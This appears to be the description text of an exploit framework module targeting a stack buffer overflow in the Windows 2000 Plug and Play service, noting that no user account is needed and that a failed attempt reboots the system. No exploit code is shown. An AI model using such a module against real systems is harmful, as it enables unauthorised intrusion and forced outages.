     This module exploits a stack buffer overflow in the Windows Plug
    and Play service. This vulnerability can be exploited on
    Windows 2000 without a valid user account.

    NOTE: Since the PnP service runs inside the service.exe process, a failed
    exploit attempt will cause the system to automatically reboot.
